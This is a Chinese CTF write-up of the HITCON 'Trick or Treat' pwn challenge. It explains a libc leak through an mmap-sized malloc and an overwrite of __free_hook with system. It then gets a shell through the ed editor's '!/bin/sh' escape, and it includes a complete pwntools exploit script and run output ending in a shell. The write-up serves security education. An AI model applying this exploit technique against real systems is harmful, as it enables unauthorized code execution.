前言 hitcon是权重比较高的国际赛,本文学习一下其中的解题思路.
Trick or Treat 这是一道稍微有点脑洞的题目,题目本身的逻辑很简单  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void  __fastcall __noreturn main (__int64 a1, char  **a2, char  **a3)    signed  int  i;    __int128 size;    __int64 v5;    _QWORD *v6;    unsigned  __int64 v7;    v7 = __readfsqword(0x28 u);   size = 0u LL;   v5 = 0L L;   v6 = 0L L;   setvbuf(stdin , 0L L, 2 , 0L L);   setvbuf(stdout , 0L L, 2 , 0L L);   write(1 , "Size:" , 5u LL);   __isoc99_scanf("%lu" , &size);   v6 = malloc (size);   if  ( v6 )   {     printf ("Magic:%p\n" , v6);     for  ( i = 0 ; i <= 1 ; ++i )     {       write(1 , "Offset & Value:" , 0x10 uLL);       __isoc99_scanf("%lx %lx" , (char  *)&size + 8 );       v6[*((_QWORD *)&size + 1 )] = v5;     }   }   _exit(0 ); } 
我们可以通过malloc一个比较大块的内存,使程序使用mmap方式申请内存,从而通过输出泄露libc的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pwndbg> vmmap LEGEND:  STACK | HEAP |  CODE | DATA |  RWX | RODATA     0x555555554000     0x555555555000 r-xp     1000 0      /home/jcxp/ctf/practice/hitcon/pwn/trick_or_treat     0x555555754000     0x555555755000 r--p     1000 0      /home/jcxp/ctf/practice/hitcon/pwn/trick_or_treat     0x555555755000     0x555555756000 rw-p     1000 1000   /home/jcxp/ctf/practice/hitcon/pwn/trick_or_treat     0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so     0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so     0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so     0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so     0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000 0           0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so     0x7ffff7ee7000     0x7ffff7fdf000 rw-p    f8000 0      //申请的内存     0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]     0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]     0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so     0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so     0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0           0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack] 0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall] pwndbg> x /10gx 0xffffffffff601000 0xffffffffff601000:	Cannot access memory at address 0xffffffffff601000 pwndbg> x /10gx 0x7ffff7ee7010-0x10 0x7ffff7ee7000:	0x0000000000000000	0x00000000000f5002 0x7ffff7ee7010:	0x0000000000000000	0x0000000000000000 0x7ffff7ee7020:	0x0000000000000000	0x0000000000000000 0x7ffff7ee7030:	0x0000000000000000	0x0000000000000000 0x7ffff7ee7040:	0x0000000000000000	0x0000000000000000 pwndbg> 
我们的目的是通过覆盖__malloc_hook或者__free_hook来getshell,但是我们无法直接覆写为system或者one_gadget的地址,因为下面这段代码中%lx意味着我们只能写abcdef1234567890这样的16进制值,这样就没办法传入/bin/bash.
1 2 3 write(1 , "Offset & Value:" , 0x10 uLL); __isoc99_scanf("%lx %lx" , (char  *)&size + 8 ); v6[*((_QWORD *)&size + 1 )] = v5; 
这里有个小tips,ed是一个旧的默认Unix控制台编辑器。通常ed是提供给用户,它功能非常简单,但它仍然有内部的第三方命令执行功能,非常类似于vim。一旦进,ed,我们可以通过执行!'/bin/sh'来获取正常的shell,如下所示
1 2 3 4 5  jcxp@ubuntu  ~/ctf/practice /hitcon/pwn   ed !'/bin/sh'  $ ls exp.py	trick_or_treat $ 
那接下来的利用就很简单了,我们申请的大内存中覆盖__free_hook为system,然后通过ed执行shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from  pwn import  *import  timehost, port = "192.168.37.147" , "9999"  filename = "./trick_or_treat"  elf = ELF(filename) context.arch = 'amd64'  if  not  args.REMOTE:    libc = elf.libc else :    libc = ELF('./libc.so' ) context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] def  getConn () :    return  process(filename) if  not  args.REMOTE else  remote(host, port) def  get_PIE (proc) :    memory_map = open("/proc/{}/maps" .format(proc.pid),"rb" ).readlines()     return  int(memory_map[0 ].split("-" )[0 ],16 ) def  debug (bp) :    script = ""      PIE = get_PIE(p)     PAPA = PIE     for  x in  bp:         script += "b *0x%x\n" %(PIE+x)          gdb.attach(p,gdbscript=script) global  pp=getConn() p.recvuntil('Size:' ) p.sendline('1000000' ) debug([0x909 ]) p.recvuntil('Magic:' ) magic=int(p.recvuntil('\n' ,drop=True ),16 ) log.info('magic=' +hex(magic)) libc.address=magic-0x4da010  log.info('libc.address=' +hex(libc.address)) free_hook_off=(libc.symbols['__free_hook' ]-magic)/8  log.info('free_hook_off=' +hex(free_hook_off)) system=libc.symbols['system' ] payload='{} {}' .format(hex(free_hook_off),hex(system)) p.sendlineafter('Offset & Value:' ,payload) print  p.recv()p.sendline('A' *50000 ) //当使用scanf输入较大字符时,会申请一个large bin,触发malloc_consolidate() p.sendline('ed' ) p.sendline('!/bin/sh' ) p.interactive() 
运行效果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22  ⚙ jcxp@ubuntu  ~/ctf/practice /hitcon/pwn   python exp.py  [*] '/home/jcxp/ctf/practice/hitcon/pwn/trick_or_treat'      Arch:      amd64-64 -little     RELRO:     Full RELRO     Stack:     No canary found     NX:        NX enabled     PIE:       PIE enabled [*] '/lib/x86_64-linux-gnu/libc.so.6'      Arch:      amd64-64 -little     RELRO:     Partial RELRO     Stack:     Canary found     NX:        NX enabled     PIE:       PIE enabled [+] Starting local process './trick_or_treat' : pid 12375  [*] magic=0x7ffff7ee7010  [*] libc.address=0x7ffff7a0d000  [*] free_hook_off=-0x2270d  \x00  [*] Switching to interactive mode Offset & Value: \x00 $ whoami jcxp $